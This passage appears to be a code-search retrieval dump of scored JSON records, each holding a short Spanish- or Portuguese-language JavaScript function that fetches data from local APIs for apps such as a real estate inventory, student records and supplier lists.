"75162a1a24f08915d2faaf68817bb75a", "score": "0.6027448", "text": "function acionarPortao(portao){\n\t//VEJO QUAL É O PORTAO QUE FOI CLICADO PEGANDO A POSICAO\n\tvar posicao_pt = $(portao).parent().attr('posicao_pt');\n\t//VEJO QUAL É O COMODO DESSE DISPOSITIVO\n\tvar posicao_cd = $(portao).parent().attr('posicao_cd');\n\t\n\tvar funcao = 'funcao=portao'+\n\t\t\t\t '&comando=' + $(portao).attr('comando')+\n\t\t\t\t '&pt_id=' + objTabelaComodo.lista[posicao_cd].listaPortao[posicao_pt].pt_id;\n\t\n\tAJAX(SERVLET,funcao, function(retorno){\n\t\tretorno = JSon(retorno);\n\t\tconsole.log(retorno);\n\t\t//CASO OCORRA ALGUM ERRO\n\t\tif(!retorno){\n\t\t\talert(\"Ocorreu um erro interno ao servidor\");\n\t\t return; //IMPEDE QUE CONTINUE EXECUTANDO O CODIGO EM CASO DE ERRO\n\t\t}\n\t\tif (!empty(retorno.error)) {\n\t\t\talert(\"Ocorreu um erro ao buscar dispositivos\\n\"+\n\t\t\t\t \"Erro: \" + retorno.error);\n\t\t return; //IMPEDE QUE CONTINUE EXECUTANDO O CODIGO EM CASO DE ERRO\n\t\t}\n\t\t\n\t\tobjTabelaComodo.lista[posicao_cd].listaPortao[posicao_pt].pt_status = retorno.status;\n\t});\t\n\n}", "title": "" }, { "docid": "a4219b946952cb40eaf55a46498cf23a", "score": "0.6022489", "text": "function getAllPadreEstudiante() {\n ajaxHelper(padreestudianteUri, 'GET').done(function (data) {\n $('#progreso').hide();\n self.PadresEstudiantes(data);\n });\n }", "title": "" }, { "docid": "bc84b75cb89c276c40d18cfb0f9fe24c", "score": "0.60207975", "text": "async function todasActividades(e) {\n e.preventDefault();\n \n let actividadesSimples = await fetch(\"http://localhost:3000/api/actividades\",\n {\n method: 'get',\n headers: {\n 'Authorization':'Bearer '+ document.querySelector('#tokenTodasActividades').value\n }\n })\n .then(resp => resp.json())\n\n //Borramos el contenedor\n let contenedorTA = document.querySelector(\"#contenedorTodasActividades\");\n borrarContenedor(contenedorTA);\n\n //Añadimos la info de cada actividad:\n for(let actividadSimple of actividadesSimples){\n contenedorTA.appendChild(AHTML.aActividadSimple(actividadSimple));\n }\n console.log(actividadesSimples);\n}", "title": "" }, { "docid": "aa8a3eacebb5a730ab76054a17cc9d96", "score": "0.6020433", "text": "respuestaTitulos(e){\n //console.log(e.detail.__data.response.items);\n this.datapeliculas = e.detail.__data.response.items;\n\n \n }", "title": "" }, { "docid": "40fe5d6e503c054f12abfa1a7fdec17f", "score": "0.6011321", "text": "function GetElementos() {\r\n jQuery.support.cors = true;\r\n $.ajax({\r\n url: 'http://localhost:3000/api/v1/operators',\r\n type: 'GET',\r\n dataType: 'json', \r\n success: function (data) { \r\n WriteResponse(data);\r\n },\r\n error: function (x, y, z) {\r\n alert(x + '\\n' + y + '\\n' + z);\r\n }\r\n }); \r\n }", "title": "" }, { "docid": "b8a65f61f538328018eb8b85a6c5c75a", "score": "0.5958979", "text": "async function comentariosActividad(e) {\n e.preventDefault();\n\n let idActividad = document.querySelector(\"#idUnaActividadComentarios\").value\n\n console.log(\"ID Actividad: \" + idActividad);\n \n let comentarios = await fetch(\"http://localhost:3000/api/comentarios/\"+idActividad,\n {\n method: 'get',\n headers: {\n 'Authorization':'Bearer '+ document.querySelector('#tokenComentariosActividad').value\n }\n })\n .then(resp => resp.json())\n\n console.log(comentarios);\n\n //Borramos el contenedor y plantamos el mapa:\n let contenedorComentariosActividad = document.querySelector(\"#contenedorComentariosActividad\");\n borrarContenedor(contenedorComentariosActividad);\n \n for(let comentario of comentarios){\n contenedorComentariosActividad.appendChild(AHTML.aComentario(comentario));\n }\n}", "title": "" }, { "docid": "15154566593739a1af7177f1feb961a6", "score": "0.5916875", "text": "function mostrarInfoDepartamento(){\n console.log(\"Abrir info departamento\");\n var q = \"idInmueble=\"+idInmueble;\n var xhr = new XMLHttpRequest();\n var existeRespuesta = new Boolean (false);\n xhr.onreadystatechange = function(){\n if(xhr.readyState==4 && xhr.status==200){\n var respuesta = xhr.responseXML;\n console.log(xhr.responseXML);\n x = respuesta.getElementsByTagName('resultado');\n \n if (respuesta != null){\n existeRespuesta = true;\n } else {\n existeRespuesta = false;\n }\n \n if (existeRespuesta == true){\n xs = new XMLSerializer();\n document.getElementById('divTipoPropiedad').innerHTML = '';\n for (i=0; i<x.length; ++i) {\n document.getElementById('divTipoPropiedad').innerHTML += xs.serializeToString(x[i]) + '\\n<br />\\n';\n }\n } else {\n alert(\"Error de conexion con la base de datos\");\n }\n }\n }\n\n xhr.open(\"POST\", \"http://localhost:8888/cgi-bin/Sistema-Inmobiliaria/mostrarDepartamentoInventario.pl\", true);\n xhr.setRequestHeader(\n 'Content-type', \n 'application/x-www-form-urlencoded'\n ); \n xhr.responseType = \"document\";\n xhr.send(q);\n}", "title": "" }, { "docid": "3216bd13e39b53a67d1b44ec95d8f130", "score": "0.59077287", "text": "function buscaComodos(categoria){\n\tvar funcao = 'funcao=buscaDispositivo'+\n\t\t\t\t '&cd_tipo=' + categoria;\n\t\n\tAJAX(SERVLET,funcao, function(retorno){\n\t\tretorno = JSon(retorno);\n\t\n\t\t//CASO OCORRA ALGUM ERRO\n\t\tif(!retorno){\n\t\t\talert(\"Ocorreu um erro interno ao servidor\");\n\t\t return; //IMPEDE QUE CONTINUE EXECUTANDO O CODIGO EM CASO DE ERRO\n\t\t}\n\t\tif (!empty(retorno.error)) {\n\t\t\talert(\"Ocorreu um erro ao buscar dispositivos\\n\"+\n\t\t\t\t \"Erro: \" + retorno.error);\n\t\t return; //IMPEDE QUE CONTINUE EXECUTANDO O CODIGO EM CASO DE ERRO\n\t\t}\n\n\n\t\t//COMBO DE COMODOS\n\t\tobjTabelaComodo = retorno;\n\t\tobjTabelaComodo.total = objTabelaComodo.lista.length;\n\n\t\tmontaComodo();\n\n\t});\t\n\t\n}", "title": "" }, { "docid": "5f905e61d06b2219b0d631e51db159a3", "score": "0.58977324", "text": "function listServices(){\n\n\t$(document).ready( function(){\n\n var xhr = new XMLHttpRequest();\n xhr.open(\"GET\", \"http://localhost:3000/utils/services\", true);\n\n xhr.onload = function() {\n var text = xhr.responseText;\n text = text.split(\"}\")\n text.pop();\n list = []\n for (var i = 0; i < text.length; i++) {\n text[i] = text[i].substr(1) + \"}\";\n list.push(JSON.parse(text[i]));\n }\n // console.log(list);\n changeHTML(list, list.length, \"#servicos\");\n };\n xhr.onerror = function() {\n alert('Woops, there was an error making the request.');\n };\n xhr.send(null);\n });\n}", "title": "" }, { "docid": "879f32b81ce587e91c50ebf9f42fcbd3", "score": "0.588502", "text": "function getServicios() {\n $.get(\"/api/admin/servicios\", renderServiciosList);\n }", "title": "" }, { "docid": "cdba73d54692e916e50f54094ee6746a", "score": "0.58640635", "text": "function masaTipoMasaSaborSaborMostrarEsp() { // Solicita a la API los sabores de masa (todas)\n\tajaxGet(rutaURL + \"/masaSabor/sabor/\" + $(\"#cmbTipoMasa\").val() + \"/\" + $(\"#cmbSaborMasa\").val(), saborDesplegarEsp);\n}", "title": "" }, { "docid": "782aba02cc5e290d5368224f6ef6d857", "score": "0.5844582", "text": "function listarEstudiantesByLibreta(id) {\n url = \"http://localhost:8080/Practico3/rest/estudiantes/estudianteById?libreta=\" + id;\n if (id != '') {\n fetch(url)\n .then(r => r.json())\n .then(json => {\n mostrarEstudiante(json);\n })\n }\n\n}", "title": "" }, { "docid": "1ffd3a7638bcc08d664a92a85e2c6397", "score": "0.5842234", "text": "function consumirServicio(){\n\n //1.crear un objeto de AJAX\n let telefono= new XMLHttpRequest();\n\n //2. abrir la conexion\n\n let url=\"http://jsonplaceholder.typicode.com/users\"\n telefono.open('GET',url, true );\n\n //3. ejecutar la carga de informacion\n telefono.onload = function(){\n\n let respusta = JSON.parse( this.responseText);\n\n console.log([0]);\n\n nombre.texcontent = respusta[0].name\n \n\n }\n\n //4. envio conexion\n telefono.send();\n\n\n\n}", "title": "" }, { "docid": "aead216594ea194b6189108887e2e6d0", "score": "0.5838598", "text": "function loadFornecedoresRegiaoMembro() {\n\n var config = {\n params: {\n membroId: $scope.novoMembro.Id\n\n }\n };\n\n\n apiService.get('/api/membro/fornecedorRegiaoMembro', config,\n loadFornecedoresRegiaoMembroSucesso,\n loadFornecedoresRegiaoMembroFalha);\n }", "title": "" }, { "docid": "060fbeed0de56a83970ad24b5ccf680a", "score": "0.5833562", "text": "function mostrarInfoOficina(){\n console.log(\"Abrir info oficina\");\n var q = \"idInmueble=\"+idInmueble;\n var xhr = new XMLHttpRequest();\n var existeRespuesta = new Boolean (false);\n xhr.onreadystatechange = function(){\n if(xhr.readyState==4 && xhr.status==200){\n var respuesta = xhr.responseXML;\n console.log(xhr.responseXML);\n x = respuesta.getElementsByTagName('resultado');\n \n if (respuesta != null){\n existeRespuesta = true;\n } else {\n existeRespuesta = false;\n }\n \n if (existeRespuesta == true){\n xs = new XMLSerializer();\n document.getElementById('divTipoPropiedad').innerHTML = '';\n for (i=0; i<x.length; ++i) {\n document.getElementById('divTipoPropiedad').innerHTML += xs.serializeToString(x[i]) + '\\n<br />\\n';\n }\n } else {\n alert(\"Error de conexion con la base de datos\");\n }\n }\n }\n\n xhr.open(\"POST\", \"http://localhost:8888/cgi-bin/Sistema-Inmobiliaria/mostrarOficinaInventario.pl\", true);\n xhr.setRequestHeader(\n 'Content-type', \n 'application/x-www-form-urlencoded'\n ); \n xhr.responseType = \"document\";\n xhr.send(q);\n}", "title": "" }, { "docid": "5a4d2cf7786c43629cd701e7c131f096", "score": "0.5825773", "text": "function mostrarInfoCasa(){\n console.log(\"Abrir info Casa\");\n var q = \"idInmueble=\"+idInmueble;\n var xhr = new XMLHttpRequest();\n var existeRespuesta = new Boolean (false);\n xhr.onreadystatechange = function(){\n if(xhr.readyState==4 && xhr.status==200){\n var respuesta = xhr.responseXML;\n console.log(xhr.responseXML);\n x = respuesta.getElementsByTagName('resultado');\n \n if (respuesta != null){\n existeRespuesta = true;\n } else {\n existeRespuesta = false;\n }\n \n if (existeRespuesta == true){\n xs = new XMLSerializer();\n document.getElementById('divTipoPropiedad').innerHTML = '';\n for (i=0; i<x.length; ++i) {\n document.getElementById('divTipoPropiedad').innerHTML += xs.serializeToString(x[i]) + '\\n<br />\\n';\n }\n } else {\n alert(\"Error de conexion con la base de datos\");\n }\n }\n }\n\n xhr.open(\"POST\", \"http://localhost:8888/cgi-bin/Sistema-Inmobiliaria/mostrarCasaInventario.pl\", true);\n xhr.setRequestHeader(\n 'Content-type', \n 'application/x-www-form-urlencoded'\n ); \n xhr.responseType = \"document\";\n xhr.send(q);\n}", "title": "" }, { "docid": "5570f5f97f77c80f82a347d84bf6d9e9", "score": "0.5823426", "text": "async function getServices() {\n const html = await http.get('labvezbe/');\n const tree = parse(html);\n return tree.querySelectorAll('ol.rounded-list li a').map(node => ({\n name: node.rawText.trim(),\n type: 'labvezbe'\n }));\n}", "title": "" }, { "docid": "c26fd6082faaf845b5c0c92a574918e1", "score": "0.5822104", "text": "consulta() {\n axios.get(this.URL + \"?request=todos\").then(\n (response) => {\n this.clientes = response.data;\n //console.log(response.data);\n },\n (error) => {\n // console.log(error);\n }\n );\n }", "title": "" }, { "docid": "58d8e07f80c49653126536d97334bb02", "score": "0.58110577", "text": "function mostrarInfoLocal(){\n console.log(\"Abrir info Local\");\n var q = \"idInmueble=\"+idInmueble;\n var xhr = new XMLHttpRequest();\n var existeRespuesta = new Boolean (false);\n xhr.onreadystatechange = function(){\n if(xhr.readyState==4 && xhr.status==200){\n var respuesta = xhr.responseXML;\n console.log(xhr.responseXML);\n x = respuesta.getElementsByTagName('resultado');\n \n if (respuesta != null){\n existeRespuesta = true;\n } else {\n existeRespuesta = false;\n }\n \n if (existeRespuesta == true){\n xs = new XMLSerializer();\n document.getElementById('divTipoPropiedad').innerHTML = '';\n for (i=0; i<x.length; ++i) {\n document.getElementById('divTipoPropiedad').innerHTML += xs.serializeToString(x[i]) + '\\n<br />\\n';\n }\n } else {\n alert(\"Error de conexion con la base de datos\");\n }\n }\n }\n\n xhr.open(\"POST\", \"http://localhost:8888/cgi-bin/Sistema-Inmobiliaria/mostrarLocalInventario.pl\", true);\n xhr.setRequestHeader(\n 'Content-type', \n 'application/x-www-form-urlencoded'\n ); \n xhr.responseType = \"document\";\n xhr.send(q);\n}", "title": "" }, { "docid": "3ecf935c75849858d39e2938c646cbd5", "score": "0.58056486", "text": "function cargarObraSocial(){\n\t\n\tdocument.getElementById(\"obras_sociales\").innerHTML = \"\";\n\t\n\tvar prodPac; \n\t\n\ttry{\n\t\tfor (var i=0; i!= elem_paciente.json.productosObrasSocialPaciente.length; i++ ){\n\t\t\n\t\t\t//producto_os_elegido\n\t\t\t\n\t\t\t\tprodPac = elem_paciente.json.productosObrasSocialPaciente[i];\n\t\t\t\t\t\n\t\t\t\tagregarProductoOS(prodPac.id, prodPac.producto.nombre, prodPac);\n\t\t}\n\t}catch(e){}\t\n\t\n\tagregarProductoOS(\"-1\", \"Particular\", \"{}\");\n\t\n}", "title": "" }, { "docid": "3347be567d175b73ab6730b4f177ec18", "score": "0.5797299", "text": "function pedidosService(){\n jQuery(function($) {\n $.ajax({\n type: 'POST',\n url: '../../findPedidosActivosTienda',\n contentType: 'application/json',\n data: JSON.stringify({'token': tiendaToken}),\n success: function(data) {\n console.log(data);\n pedidos = data;\n pedidosShow();\n }\n });\n });\n}", "title": "" }, { "docid": "7c17486068b7abdd62798d8f2beb6dd6", "score": "0.5796914", "text": "presupuestoRestante(cantidad) {\n const restante = document.getElementById('restante');\n\n const presupuestoRestanteUsuario = cantidadPresupuesto.presupuestoRestante(cantidad);\n\n restante.innerHTML = `${presupuestoRestanteUsuario}`;\n\n this.comprobarPresupuesto()\n }", "title": "" }, { "docid": "41fe87107c92ca6f840c7cfcf1bc6142", "score": "0.5793967", "text": "function atualizaClienteOferta(elemento) {\n let funilEtapa = '';\n let indiceFunilEtapa = $(elemento).parent('div').attr('index');\n let clienteOferta = CLIENTES_OFERTA[$(elemento).attr('index')];\n if(indiceFunilEtapa!='-1') {\n funilEtapa = FUNIL_ETAPAS[indiceFunilEtapa];\n } else {\n funilEtapa = null;\n }\n clienteOferta.funilEtapa = funilEtapa;\n $.ajax({\n url: '../clienteoferta/atualiza',\n type: 'POST',\n dataType: 'json',\n data: JSON.stringify(clienteOferta),\n contentType: 'application/json; charset=utf-8'\n })\n .done(function(data) {\n console.log(data.entity);\n })\n .fail(function() {\n console.log(\"error\");\n })\n .always(function() {\n console.log(\"complete\");\n });\n}", "title": "" }, { "docid": "e971c5c2922c092f070a710c10ac7e5e", "score": "0.5792276", "text": "function masaTipoMasaSaborMostrarEsp() { // Solicita a la API los sabores de masa (todas)\n\tajaxGet(rutaURL + \"/tipoMasa/saborMasa/\" + $(\"#cmbTipoMasa\").val(), masasaborDesplegarEspEsp);\n}", "title": "" }, { "docid": "764d716581d08be145e607d643f06bea", "score": "0.57903236", "text": "function mostrarInfoEdificio(){\n console.log(\"Abrir info edificio\");\n var q = \"idInmueble=\"+idInmueble;\n var xhr = new XMLHttpRequest();\n var existeRespuesta = new Boolean (false);\n xhr.onreadystatechange = function(){\n if(xhr.readyState==4 && xhr.status==200){\n var respuesta = xhr.responseXML;\n console.log(xhr.responseXML);\n x = respuesta.getElementsByTagName('resultado');\n \n if (respuesta != null){\n existeRespuesta = true;\n } else {\n existeRespuesta = false;\n }\n \n if (existeRespuesta == true){\n xs = new XMLSerializer();\n document.getElementById('divTipoPropiedad').innerHTML = '';\n for (i=0; i<x.length; ++i) {\n document.getElementById('divTipoPropiedad').innerHTML += xs.serializeToString(x[i]) + '\\n<br />\\n';\n }\n } else {\n alert(\"Error de conexion con la base de datos\");\n }\n }\n }\n\n xhr.open(\"POST\", \"http://localhost:8888/cgi-bin/Sistema-Inmobiliaria/mostrarEdificioInventario.pl\", true);\n xhr.setRequestHeader(\n 'Content-type', \n 'application/x-www-form-urlencoded'\n ); \n xhr.responseType = \"document\";\n xhr.send(q);\n}", "title": "" }, { "docid": "c4ba310fefd2db2efb340ca2d98fadc6", "score": "0.5788147", "text": "function getComentarios(id) {\n console.log(\"entro get\");\n let orden = document.getElementById(\"orden\").value;\n fetch(\"../api/peliculas/\" + id + \"/comentarios/\" + \"?order=\" + orden)\n // fetch(\"../api/comentarios/\" + id + \"?order=\" + orden)\n .then(response => response.json())\n .then(comentarios => {\n app.comentarios = comentarios;\n })\n .catch(error => console.log(error));\n }", "title": "" }, { "docid": "af7959439eacf3b7e727e7033fe80dbe", "score": "0.5785477", "text": "async allInstances(usuarioId) {\n const { data } = await axios.get(`${REST_SERVER_URL}/usuario/${usuarioId}/buscarMensajes`)\n return data.map(mensajito => this.mensajeAsJson(mensajito))\n }", "title": "" }, { "docid": "ac404547b8908122338264d03157b86a", "score": "0.5776056", "text": "mpVistaOpciones(auxRet = true, paramOpc = null){\n \n const vistaBarraOpciones = [{ \n domPadre: 'mpVista',\n tag: 'div',\n auxId: 'vmpOpcionesVista',\n // evento: (clase = 'cbxCrearFichaUsuario') => {console.log((clase))},\n }]\n \n this.crearDom(vistaBarraOpciones)\nif(auxRet){\n const auxRegresar = [{\n domPadre: 'vmpOpcionesVista',\n auxId: 'vmpOpcionesReturn',\n tag:'p',\n innHtml: 'regresar'\n }]\n this.crearDom(auxRegresar)\n}\n\nif(paramOpc){\n \n const setOpc = paramOpc.map((ele) => {\n return { ...ele, domPadre: 'vmpOpciones'}\n })\n\n const vistaOpciones = [{\n domPadre: 'vmpOpcionesVista',\n tag: 'div',\n auxId: 'vmpOpciones',\n domHijos: setOpc,\n }]\n\tthis.crearDom(vistaOpciones)\n}\n \n return \n}", "title": "" }, { "docid": "bd37f652be121e1d8d7bf18f789ef16c", "score": "0.576393", "text": "function BuscarTareaXPrioridad(e){\n\n var prioridad = e.target[0].value\n console.log(prioridad);\n\n axios.get(`${servidor}/tareas/prioritarias?prioridad=${prioridad}`)\n .then(function (response) {\n\n var data = response.data.tarea\n console.log(data)\n var ul = document.getElementsByClassName('tareas');\n ul[0].innerHTML=`<h1>Se encontraron ${data.length} tareas que tienen prioridad \"${prioridad}\":</h1>`\n data.forEach(tarea => {\n var li = document.createElement('li')\n \n prioridadAtexto(tarea);\n estadoAtexto(tarea);\n \n \n li.innerHTML = `<div class=\"card\"><h3 class='tarea-mostrada'>Tarea: ${tarea.descripcion} </h3>\n <p class='tarea-propiedades'>Número de Tarea: ${tarea.idTarea}</p>\n <p class='tarea-propiedades'>Prioridad: ${tarea.prioridad} </p>\n <p class='tarea-propiedades'>Estado: ${tarea.estado}</p></div> \n `\n \n ul[0].appendChild(li)\n ul[0].appendChild(document.createElement('br'))\n });\n // handle success\n \n \n })\n .catch(function(error){\n console.log(error)\n if (error == 404) {\n alert(\"no hubo resultados\")\n } else {\n // alert(`No existe una tarea con la descripcion ${descripcion}.`)\n }\n });\n}", "title": "" }, { "docid": "6024451fc340a4ad5794a07649d50777", "score": "0.575929", "text": "function loadMembroFornecedor() {\n\n var config = {\n params: {\n membroId: $scope.novoMembro.Id\n }\n };\n\n\n apiService.get('/api/membro/membroFornecedores', config,\n loadMembroFornecedorSucesso,\n loadMembroFornecedorFalha);\n }", "title": "" }, { "docid": "269cd8d3b84d7fa96b6a8b890c72d338", "score": "0.57547563", "text": "suscripcion(elemento) {\n this.observadores.push(elemento);\n }", "title": "" }, { "docid": "8508b3cb2802059b1c6c291e79568b0b", "score": "0.57485354", "text": "function contadorItemsMultiples(){\n \n //Buscamos todos aquellos elementos que tengan más de una respuesta\n var cuestionariosMultiples=document.getElementsByClassName(\"contadorItems\");\n\n for(var i=0;i<cuestionariosMultiples.length;i++){\n //Separamos el elemento a procesar\n var claveI=cuestionariosMultiples[i].value;\n \n var selectorI=\"items\"+claveI;\n\n //Conseguimos el elemento que contiene los items\n var itemsCuestionario=document.getElementById(selectorI);\n\n //Contamos cuantos items tiene ese cuestionario\n var contadorItems=itemsCuestionario.querySelectorAll(\".reactivo\").length;\n\n //Y lo reasignamos para que pueda ser leído por la request en el cuestionario N\n cuestionariosMultiples[i].value=contadorItems;\n }\n}", "title": "" }, { "docid": "f5644d1c9286f27d2c6d42337cb982af", "score": "0.573197", "text": "function getEstudiantesCarreraCiudad() {\n let carreraBusqueda = document.querySelector(\"#carreraEstudianteBusqueda\").value;\n let ciudadBusqueda = document.querySelector(\"#ciudadEstudianteBusqueda\").value;\n let url = baseUrl + \"rest/estudiantes/carrera/\" + carreraBusqueda + \"/ciudad/\" + ciudadBusqueda;\n fetch(url)\n .then(res => res.json())\n .then(datos => {\n setTablaEstudiantes(datos)\n })\n}", "title": "" }, { "docid": "c93f92271d52be46c9e203a06b803332", "score": "0.57273823", "text": "caricaVersioni() {\n\t\tthis.serviceVersioni.all(this.riempiVersioni)\n\t}", "title": "" }, { "docid": "1fdb4ed2eee08cf7cf50cfd54a4a819d", "score": "0.57221377", "text": "function peticionGet() {\n\n $.ajax({\n\n method: \"GET\",\n url: endpoint,\n success: function (data) {\n mostrarJuegos(data.items)\n\n },\n error: function (error) {\n console.log(\"Error al Consumir Api Oracle Cloud \")\n }\n });\n\n}", "title": "" }, { "docid": "5e18479e54b613644fe611c0af7e55fc", "score": "0.5720313", "text": "function mostrarInfoTerreno(){\n console.log(\"Abrir info terreno\");\n var q = \"idInmueble=\"+idInmueble;\n var xhr = new XMLHttpRequest();\n var existeRespuesta = new Boolean (false);\n xhr.onreadystatechange = function(){\n if(xhr.readyState==4 && xhr.status==200){\n var respuesta = xhr.responseXML;\n console.log(xhr.responseXML);\n x = respuesta.getElementsByTagName('resultado');\n \n if (respuesta != null){\n existeRespuesta = true;\n } else {\n existeRespuesta = false;\n }\n \n if (existeRespuesta == true){\n xs = new XMLSerializer();\n document.getElementById('divTipoPropiedad').innerHTML = '';\n for (i=0; i<x.length; ++i) {\n document.getElementById('divTipoPropiedad').innerHTML += xs.serializeToString(x[i]) + '\\n<br />\\n';\n }\n } else {\n alert(\"Error de conexion con la base de datos\");\n }\n }\n }\n\n xhr.open(\"POST\", \"http://localhost:8888/cgi-bin/Sistema-Inmobiliaria/mostrarTerrenoInventario.pl\", true);\n xhr.setRequestHeader(\n 'Content-type', \n 'application/x-www-form-urlencoded'\n ); \n xhr.responseType = \"document\";\n xhr.send(q);\n}", "title": "" }, { "docid": "cfd09f66d5fe021e464a3540d1369e8b", "score": "0.5719872", "text": "function getEstudiantesApellido() {\n let orden = document.querySelector(\"#ordenBusqueda\").value;\n let url = baseUrl + \"rest/estudiantes/orden/\" + orden;\n fetch(url)\n .then(res => res.json())\n .then(datos => {\n setTablaEstudiantes(datos)\n })\n}", "title": "" }, { "docid": "2771341e02dba380ac0cfc8eb9b412b8", "score": "0.5718606", "text": "getContatos() {\n let vm = this;\n const url = $('meta[name=getContatos]').attr('content');\n $.ajax({\n url: `${url}`,\n type: \"get\",\n dataType: \"json\"\n \n }).done(function(resposta) {\n const data = resposta.data.contatos;\n vm.listagemContatos = data;\n }).fail(function(jqXHR, textStatus ) {\n alert(\"Falha ao carregar os Clientes!\");\n });\n }", "title": "" }, { "docid": "b1c318c27b3488521ccd7d7dad878343", "score": "0.57151675", "text": "async function contabaConElementos() {\n try {\n let res = await axios('controllers/questionaryController.php', {\n method: 'POST',\n data: {\n tipoPeticion: 'contabaConElementos',\n idInstitucion,\n nombreInstitucion,\n clasificacionInstitucion,\n anioInstitucion,\n }\n })\n resultado = res.data\n if (resultado[0] == 'success') {\n return resultado[1]\n } else if (resultado[0] == 'error') {\n alertify.error(resultado[1])\n } else {\n console.warn('Tipo de respuesta no definido. ' + resultado)\n }\n } catch (error) {\n console.error(error);\n }\n}", "title": "" }, { "docid": "4205ef0ed752304e80a7f97badc8c89e", "score": "0.5711168", "text": "function GetElementos() {\r\n jQuery.support.cors = true;\r\n $.ajax({\r\n url: 'http://localhost:3000/api/v1/customers',\r\n type: 'GET',\r\n dataType: 'json', \r\n success: function (data) { \r\n return data; \r\n },\r\n error: function (x, y, z) {\r\n alert(x + '\\n' + y + '\\n' + z);\r\n }\r\n }); \r\n }", "title": "" }, { "docid": "2f197f2d97867430830d04cc18ccad2b", "score": "0.570677", "text": "async function buscarFornecedor(tipo) {\r\n VETORFORNECEDORCLASSEFORNECEDOR = []\r\n document.getElementById('listaDeFornecedores').innerHTML =\r\n '<h5 class=\"text-center\">Lista Fronecedores</h5>'\r\n let cont = 0\r\n\r\n if (tipo == 'nome') {\r\n var json = await requisicaoGET(\r\n `providers_by_name?name=${\r\n document.getElementById('buscaFornecedor').value\r\n }`,\r\n { headers: { Authorization: `Bearer ${buscarSessionUser().token}` } }\r\n )\r\n } else if (tipo == 'todos') {\r\n var json = await requisicaoGET('providers', {\r\n headers: { Authorization: `Bearer ${buscarSessionUser().token}` },\r\n })\r\n }\r\n\r\n while (json.data[cont]) {\r\n VETORFORNECEDORCLASSEFORNECEDOR.push(json.data[cont])\r\n $('#listaDeFornecedores').append(\r\n carregarListaFornecedor(json.data[cont], cont)\r\n )\r\n cont++\r\n }\r\n\r\n animacaoSlideDown(['#listaDeFornecedores'])\r\n}", "title": "" }, { "docid": "72386ae7d1bbada33afd0a379660397c", "score": "0.57047474", "text": "function serviciosExcursion(){\n $http.get('http://' + vm.localhost + ':3000/getServiciosExcursion/' + $routeParams.NombreExcursion).then(function (response) {\n console.log(response.data);\n vm.servicioExcursion = response.data;\n });\n }", "title": "" }, { "docid": "44d92c4e31fcafd65f92c9100c591748", "score": "0.5703683", "text": "function buscarInicial(q) {\n buscarActivo = true;\n console.log(\"Busqueda inicial inmueble - Cliente\");\n console.log(\"Busqueda inicial query = \" + q);\n var xhr = new XMLHttpRequest();\n var existeRespuesta = new Boolean (false);\n xhr.onreadystatechange = function(){\n if(xhr.readyState==4 && xhr.status==200){\n var respuesta = xhr.responseXML;\n var respuestaTexto = new XMLSerializer().serializeToString(respuesta);\n console.log(xhr.responseXML);\n x = respuesta.getElementsByTagName('resultado');\n \n if (respuesta != null){\n existeRespuesta = true;\n } else {\n existeRespuesta = false;\n }\n\n if (existeRespuesta == true){\n xs = new XMLSerializer();\n\n var coincidencias = x[0].childNodes[0];\n\n if (coincidencias != null) {\n document.getElementById(\"titulo\").style.display = \"none\";\n document.getElementById('box2').innerHTML = '';\n for (i=0; i<x.length; ++i) {\n \n document.getElementById('box2').innerHTML += xs.serializeToString(x[i]) + '\\n<br />\\n';\n }\n } else {\n document.getElementById(\"titulo\").style.display = \"block\";\n document.getElementById('box2').innerHTML = '';\n document.getElementById(\"titulo\").innerHTML = 'No hay coincidencias';\n }\n } else {\n alert(\"Error de conexion con la base de datos\");\n }\n }\n }\n\n xhr.open(\"POST\", \"http://localhost:8888/cgi-bin/Sistema-Inmobiliaria/buscarInmuebleCliente.pl\", true);\n xhr.setRequestHeader(\n 'Content-type', \n 'application/x-www-form-urlencoded'\n ); \n xhr.responseType = \"document\";\n xhr.send(q);\n \n}", "title": "" }, { "docid": "4a284a7779f139162f1cfaa5a8ad177a", "score": "0.5702623", "text": "preuzmiKontakte(){\n fetch(\"https://localhost:5001/Imenik/PribaviKontakte\").then(p => {\n p.json().then(data => {\n data.forEach(kontakt => {\n const kontaktObject = new Kontakt(kontakt.ime, kontakt.prezime, kontakt.tip, kontakt.opis);\n kontaktObject.id = kontakt.id;\n\n this.listaKontakata.push(kontaktObject);\n \n kontakt.listaTelefona.forEach(telefon =>{\n const telefonObject = new Telefon(telefon.broj, telefon.tip);\n telefonObject.id = telefon.id;\n kontaktObject.listaTelefona.push(telefonObject);\n this.ucrtajTelefon(kontaktObject, telefonObject);\n });\n });\n });\n }); \n }", "title": "" }, { "docid": "09a47558998dd7cc0e63d27946905819", "score": "0.5697123", "text": "function buscar(id, tipo){ //método local al servicio\n if(servicio.basket === undefined || servicio.basket === null) {\n servicio.basket = getArticlesBasket();\n }\n if(servicio.basket !== undefined && servicio.basket !== null && servicio.basket.articulos !== undefined && servicio.basket.articulos !== null) { \n for (var i = 0; i < servicio.basket.articulos.length; i++) {\n if(tipo === globals.ARTICULO_SIMPLE && servicio.basket.articulos[i].id_article === id) {\n return servicio.basket.articulos[i];\n }\n if(tipo === globals.ARTICULO_COMPLEJO && servicio.basket.articulos[i].id_complex_article === id) {\n return servicio.basket.articulos[i];\n }\n }\n }\n return null;\n }//buscar", "title": "" }, { "docid": "1023ec71fe7be4f92cb02b844ae8bc83", "score": "0.5696827", "text": "function consultarCriaderos() {\n\t//enviar parametros para que realize la consulta de los criaderos y desps sean cargados al html\n\tvar parametros = { \"opc\" : 1 };\n\tejecutarAjax(parametros,cargarDropDown);\n}", "title": "" }, { "docid": "59ad2636c1490c748afa5ec7f220e5ac", "score": "0.56910014", "text": "function getEventies() {\n // return storageService.query('eventi')\n // return httpService.get(`eventi`)\n}", "title": "" }, { "docid": "de84772141e46927e99690ea74f0cf8c", "score": "0.5686711", "text": "function getComponen(id){\n let http = new XMLHttpRequest();\n var url = 'http://localhost:3015/componen/' + id;\n http.open('GET', url, true);\n \n http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');\n \n http.onreadystatechange = function() {\n if (http.readyState == XMLHttpRequest.DONE) {\n let r = JSON.parse(http.responseText);\n if(r['message'].length !== 0){\n console.log(\"Te ingredients\");\n for(i of r['message']){\n let idIngrediente = i['idIngrediente'];\n getIngredient(id, idIngrediente);\n }\n } else {\n console.log(\"No hi ha ingredients\");\n }\n } \n }\n http.send();\n}", "title": "" }, { "docid": "abec41dcd4b7007aec76267418d04171", "score": "0.5681151", "text": "function getElemento(elemento, id){\n return new Promise(resolve => {\n let request = new XMLHttpRequest();\n let params = \"http://localhost:49787/api/\";\n\n 